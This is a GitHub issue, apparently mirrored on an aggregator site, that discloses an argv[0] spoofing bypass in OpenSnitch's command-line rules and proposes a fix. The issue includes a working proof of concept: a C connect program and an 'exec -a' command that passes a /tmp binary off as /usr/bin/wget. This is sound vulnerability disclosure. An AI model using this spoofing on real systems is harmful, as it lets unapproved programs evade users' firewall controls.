evilsocket / evilsocket/opensnitch

[Security] GUI should always pair `process.command` rules with `process.path

Open
#1,594 0 comments 1 reaction 0 assignees View on GitHub
bug
Dominant language
Python
Stars
14.1k
Forks
665
PR merge metrics
No merged PRs in 30d

Description

### Describe the bug:

When a user creates a rule from a pop-up by selecting **"from this command line"**, the OpenSnitch GUI normally adds a `process.path` section alongside `process.command`, **but only when the command's `argv[0]` is non-absolute or starts with `/proc/`**.

For programs launched with an absolute `argv[0]` (common for daemons, GUI apps launched via .desktop Exec, helpers spawned by parent processes that pass absolute paths, and shell users who type a full path), the resulting rule has no `process.path` section. Because `argv[0]` is fully attacker-controlled (`execve`'s second argument is unconstrained), a malicious binary located elsewhere on disk can spoof the same command line and match the rule.

### To Reproduce:

**Step 1: create a "safe" rule via the GUI prompt.**

Run from a shell, using the absolute path so `argv[0]` is absolute (this is what bypasses the existing auto-promotion):

```
/usr/bin/wget -q google.com
```

In the OpenSnitch pop-up: select **"from this command line"** → **forever** (in v1.8.0, later [renamed to "always"](https://github.com/evilsocket/opensnitch/commit/762fa9a8da2af1df86091025e5fd8661e8d7b533)) → **Allow**.

Image

**Step 2 — inspect the generated rule.** (output abbreviated)

```
$ sudo cat /etc/opensnitchd/rules/allow-always-list-usr-bin-wget-q-google-com-google-com.json
{
"name": "allow-always-list-usr-bin-wget-q-google-com-google-com",
"action": "allow",
"duration": "always",
"operator": {
"type": "list",
"operand": "list",
"list": [
{ "type": "simple", "operand": "dest.host", "data": "google.com" },
{ "type": "simple", "operand": "process.command", "data": "/usr/bin/wget -q google.com" }
]
},
"enabled": true
}
```

Note how the list does not have a **`process.path` section**. The rule does not constrain *which* binary on disk produces this command line.

**Step 3 — build a malicious binary that spoofs `/usr/bin/wget`'s identity and proves it can use the rule.** Save as `/tmp/wget.c`:

```c
#include
#include
#include
#include

int main(int argc, char *argv[]) {
char exe[256] = {0};
readlink("/proc/self/exe", exe, sizeof(exe)-1);
fprintf(stderr, "argv[0]=%s real_binary=%s pid=%d\n", argv[0], exe, getpid());

struct addrinfo *res;
if (getaddrinfo("google.com", "80", NULL, &res) != 0) return 1;
int s = socket(res->ai_family, res->ai_socktype, 0);
if (connect(s, res->ai_addr, res->ai_addrlen) != 0) {
perror("connect");
return 1;
}
fprintf(stderr, "connect(google.com:80) succeeded — firewall accepted /tmp/wget under spoofed argv[0]\n");
return 0;
}
```

Compile and install at `/tmp/wget`:

```
gcc -o /tmp/wget /tmp/wget.c
```

**Step 4 — bypass the rule.** Use `exec -a` to set `argv[0]` to the trusted path while the kernel runs `/tmp/wget`:

```
$ bash -c 'exec -a "/usr/bin/wget" /tmp/wget -q google.com'
argv[0]=/usr/bin/wget real_binary=/tmp/wget pid=12345
connect(google.com:80) succeeded — firewall accepted /tmp/wget under spoofed argv[0]
```

The daemon computes `process.command` as `strings.Join(con.Process.Args, " ")` (see [`daemon/rule/operator.go`](https://github.com/evilsocket/opensnitch/blob/f78177d6a5974c6abe2d513373d0e8e199bd237e/daemon/rule/operator.go#L462-L463)), which yields `/usr/bin/wget -q google.com`. Both `list` sections match, so the connection succeeds.

`con.Process.Path` would correctly resolve to `/tmp/wget` (kernel-resolved `/proc//exe`), but no rule section is checking it. The malicious binary now has whatever network access the rule grants — in this minimal example, an HTTP connection to `google.com`, but the same technique scales to any rule that pins `process.command` without `process.path`.

### Why the current behaviour exists

In [`ui/opensnitch/dialogs/prompt/dialog.py`](https://github.com/evilsocket/opensnitch/blob/f78177d6a5974c6abe2d513373d0e8e199bd237e/ui/opensnitch/dialogs/prompt/dialog.py#L680-L689), inside `PromptDialog._send_rule()`, the guard treats an absolute, non-`/proc` `argv[0]` as trustworthy. That assumption is correct for shell-typed commands like `wget google.com` (where `argv[0]` is the basename `"wget"`, the guard fires, and `process.path` is added). It is **incorrect** for the much wider class of programs launched with an absolute `argv[0]` (mentioned above).

### Screenshots:

The created rule:

Image

### Additional context:

This is the same class of trust issue raised in #12 (2017), which was closed without addressing the `process.command` side.

### Suggested fix

Drop the conditional guard. Whenever the user selects **"from this command line"** in the pop-up, generate a `list`-type rule with both sections:

```python
if self._rule.operator.operand == Config.OPERAND_PROCESS_COMMAND:
is_list_rule = True
data.append({"type": Config.RULE_TYPE_SIMPLE,
"operand": Config.OPERAND_PROCESS_PATH,
"data": str(self._con.process_path)})
```

The `process.path` section is one extra `simple` comparison at match time (negligible cost) and closes the spoofing vector for every rule created via this code path.

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.